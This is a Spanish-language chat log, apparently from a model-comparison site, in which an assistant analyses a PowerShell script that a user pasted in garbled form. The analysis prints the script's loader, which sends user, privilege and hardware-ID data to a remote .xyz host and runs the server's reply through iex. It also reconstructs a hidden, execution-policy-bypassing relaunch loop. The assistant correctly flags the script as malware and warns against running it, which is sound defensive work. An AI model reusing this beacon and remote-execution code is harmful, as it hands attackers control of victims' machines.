Ayúdame a entender este script de powershell: $TookNum = 720; $TookSleep=240; $UserName…
- User
Ayúdame a entender este script de powershell: TookSleep=240; bytes = [System.Text.Encoding]::UTF8.GetBytes(UserName = [Convert]::ToBase64String(IsAdmin = ([System.Security.Principal.WindowsPrincipal] [System.Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator); if(IsAdmin){Priv="Admin"}else{Priv="User"}; SessionId = (Get-Process -Id sessionProcesses = Get-CimInstance -ClassName Win32_SessionProcess; sessionProcesses | Where-Object { PID.ToString() }; null; foreach (filteredProcesses) {process.Antecedent | Select-Object -ExpandProperty LogonId;break;};; UserName -eq "NT AUTHORITY\SYSTEM") { "SYSTEM" } else { "User" }; LogonSession = Get-CimInstance -ClassName Win32_LogonSession | Where-Object { _.LogonId -eq LogonId }; LogonType = if (LogonSession) { LogonSession.LogonType } else { null }; SessionName = switch (filePath = filePath)){env:appdata+'\hwid.dat';}; if(Test-Path filePath){HWID =(Get-Content filePath -Raw).trim();};; if(HWID){ json = @{UserName = UserName;SID = HWID;Privileges = UserType;SessionName = SessionName;Build = 0.3;}; json = TookReq='json = '''+url -Method POST -Body bytes = [System.Text.Encoding]::Unicode.GetBytes(TookEnc = [Convert]::ToBase64String(bytes); }; ;; while(TookNum -ge 0){ sb = { param(TookEnc); if(TookEnc){ startInfo = New-Object System.Diagnostics.ProcessStartInfo; env:windir\system32\WindowsPowerShell\v1.0\powershell.exe"; TookEnc"; false; true; [System.Diagnostics.Process]::Start(startInfo); } exit; };; Start-sleep(TookSleep); sb -ArgumentList TookNum--; };
Assistant
Este script de PowerShell parece tener intenciones maliciosas. A continuación, te explico el código paso a paso y por qué sospecho que es peligroso:
Análisis del código:
-
Variables Iniciales:
$TookNum = 720: Establece un contador para un bucle.$TookSleep = 240: Establece un tiempo de espera en segundos (4 minutos).$UserName = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name: Obtiene el nombre del usuario actual.$bytes = [System.Text.Encoding]::UTF8.GetBytes($UserName): Convierte el nombre de usuario a un array de bytes usando la codificación UTF-8.$UserName = [Convert]::ToBase64String($bytes): Codifica el nombre de usuario en Base64. Esto puede ser para ofuscar el nombre de usuario.$IsAdmin = ...: Determina si el usuario actual tiene privilegios de administrador.if($IsAdmin){$Priv="Admin"}else{$Priv="User"}: Define una variable$Priven función de si el usuario es administrador o no.$SessionId = (Get-Process -Id $PID).SessionId: Obtiene el ID de sesión del proceso actual.$sessionProcesses = Get-CimInstance -ClassName Win32_SessionProcess: Obtiene una lista de procesos y sus sesiones.$filteredProcesses = ...: Filtra los procesos para encontrar el proceso actual basado en su ID.$LogonId = $null: Inicializa una variable para el ID de inicio de sesión.foreach ($process in $filteredProcesses) ...: Itera a través de los procesos filtrados para obtener el ID de inicio de sesión (LogonId).$UserType = ...: Determina el tipo de usuario (SYSTEM o User).$LogonSession = ...: Obtiene información sobre la sesión de inicio de sesión.$LogonType = ...: Obtiene el tipo de inicio de sesión.$SessionName = switch ($LogonType) { ... }: Asigna un nombre a la sesión basándose en el tipo de inicio de sesión.
-
Manipulación de Archivos y HWID:
$filePath = $env:programdata+'\hwid.dat': Define la ruta a un archivo llamadohwid.daten la carpetaProgramData.if(-Not (Test-Path $filePath)){$filePath = $env:appdata+'\hwid.dat'}: Si el archivo no existe enProgramData, busca en la carpetaAppData.if(Test-Path $filePath){$HWID =(Get-Content $filePath -Raw).trim()}: Si el archivo existe, lee su contenido y lo asigna a la variable$HWID. Esto sugiere que está intentando obtener una ID de hardware (HWID) almacenada en un archivo.
-
Creación y Envío de Datos JSON:
$json = @{ ... }: Crea un objeto hash (diccionario) con información como:UserName: El nombre de usuario (codificado en Base64).SID: El ID de sesión.HWID: La ID de hardware (si se encontró).Privileges: Los privilegios del usuario (Admin o User).UserType: El tipo de usuario (SYSTEM o User).SessionName: El nombre de la sesión.Build: Una versión (0.3).
$json = $json|ConvertTo-Json -Compress: Convierte el objeto hash a una cadena JSON comprimida.$TookReq='$url ="https://ptuke2.xyz/online/took.php";$json = '''+$json+''';iwr -Uri $url -Method POST -Body $json -ContentType "application/json" -UsEBaSIcPArsiNg |iex;exit;': Esta es la parte más sospechosa. Crea una cadena que contiene código PowerShell que hará lo siguiente:- Define una URL:
https://ptuke2.xyz/online/took.php. ¡OJO! Esta URL es sospechosa. - Define una variable
$jsonque contiene la cadena JSON creada anteriormente. - Usa
iwr(alias paraInvoke-WebRequest) para enviar una solicitud POST a la URL con los datos JSON en el cuerpo. -UsEBaSIcPArsiNg: Fuerza a Invoke-WebRequest a usar parsing básico. A veces se usa para evitar errores, pero también puede ocultar problemas.|iex: ¡EXTREMADAMENTE PELIGROSO! Esto toma la salida del comando anterior (la respuesta del servidor) y la ejecuta como código PowerShell. Esto significa que el servidor puede enviar cualquier código y el script lo ejecutará.exit: Termina el script.
- Define una URL:
$bytes = [System.Text.Encoding]::Unicode.GetBytes($TookReq): Convierte la cadena$TookReqa un array de bytes usando la codificación Unicode.$TookEnc = [Convert]::ToBase64String($bytes): Codifica la cadena en Base64. Esto ofusca el código que se va a ejecutar.
-
Bucle para Ejecutar Código en Segundo Plano:
while($TookNum -ge 0){ ... }: Comienza un bucle que se ejecuta 720 veces.$sb = { ... }: Define un bloque de script ($sb) que se ejecutará en segundo plano. Este bloque hace lo siguiente:param($TookEnc): Acepta un parámetro$TookEnc(el código codificado en Base64).if($TookEnc){ ... }: Si$TookEncno está vacío, ejecuta el código.- Crea un nuevo proceso de PowerShell:
$startInfo.FileName = "$env:windir\system32\WindowsPowerShell\v1.0\powershell.exe": Especifica la ruta al ejecutable de PowerShell.$startInfo.Arguments = "-w hidden -ep bypass -enc $TookEnc": Define los argumentos para PowerShell:-w hidden: Ejecuta la ventana de PowerShell oculta.-ep bypass: Omite la política de ejecución de scripts de PowerShell. ¡Esto es muy peligroso! Permite que se ejecuten scripts sin firmar.-enc $TookEnc: Ejecuta el código codificado en Base64 contenido en$TookEnc.
$startInfo.UseShellExecute = $false: Especifica que no se use el shell para ejecutar el proceso.$startInfo.CreateNoWindow = $true: No crea una ventana para el proceso.
[System.Diagnostics.Process]::Start($startInfo): Inicia el proceso de PowerShell.exit: Termina el bloque de script.
Start-sleep($TookSleep): Espera 240 segundos (4 minutos).$job = Start-Job -ScriptBlock $sb -ArgumentList $TookEnc: Inicia el bloque de script$sbcomo un trabajo en segundo plano.$TookNum--: Decrementa el contador.
Razones para sospechar que es malicioso:
- Obtención de información del sistema: Recopila información como el nombre de usuario, ID de sesión, privilegios, tipo de usuario, tipo de sesión e intenta obtener una ID de hardware. Esto sugiere que está intentando identificar el sistema y al usuario.
- Codificación en Base64: Usa Base64 para codificar tanto el nombre de usuario como el código que se va a ejecutar. Esto es una forma común de ofuscar el código y dificultar su análisis.
- Omisión de la política de ejecución: Usa
-ep bypasspara omitir la política de ejecución de scripts de PowerShell. Esto permite que se ejecuten scripts sin firmar, lo cual es muy peligroso. - Ejecución de código remoto: El script envía información a un servidor remoto (
https://ptuke2.xyz/online/took.php) y luego ejecuta el código que recibe del servidor. Esto le da al atacante control total sobre el sistema. La combinación deInvoke-WebRequestcon| iexes una señal de alerta. - Ejecución en segundo plano: El bucle
whileejecuta el código en segundo plano, lo que dificulta que el usuario detecte la actividad maliciosa. - Nombre de variable sospechoso: El uso del prefijo "Took" y el nombre del archivo "took.php" en el servidor remoto no tienen una función obvia y pueden ser un intento de distraer o confundir el análisis del script.
- URL sospechosa: El dominio "ptuke2.xyz" es sospechoso porque no parece ser un sitio web legítimo o confiable. Es probable que esté asociado con actividades maliciosas.
En resumen:
Este script es muy probablemente malicioso. Recopila información del sistema, la envía a un servidor remoto y luego ejecuta el código que recibe del servidor, todo mientras se oculta en segundo plano. No ejecutes este script en tu sistema.
Recomendaciones:
- No ejecutes el script.
- Elimina el script de tu sistema.
- Escanea tu sistema con un antivirus actualizado.
- Considera cambiar tus contraseñas si sospechas que tu sistema ha sido comprometido.
- Ten mucho cuidado con los scripts de PowerShell que descargas de fuentes desconocidas.
Espero que esta explicación te sea útil. Ten mucho cuidado con este tipo de scripts.
-
Other models, same or similar prompt
Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.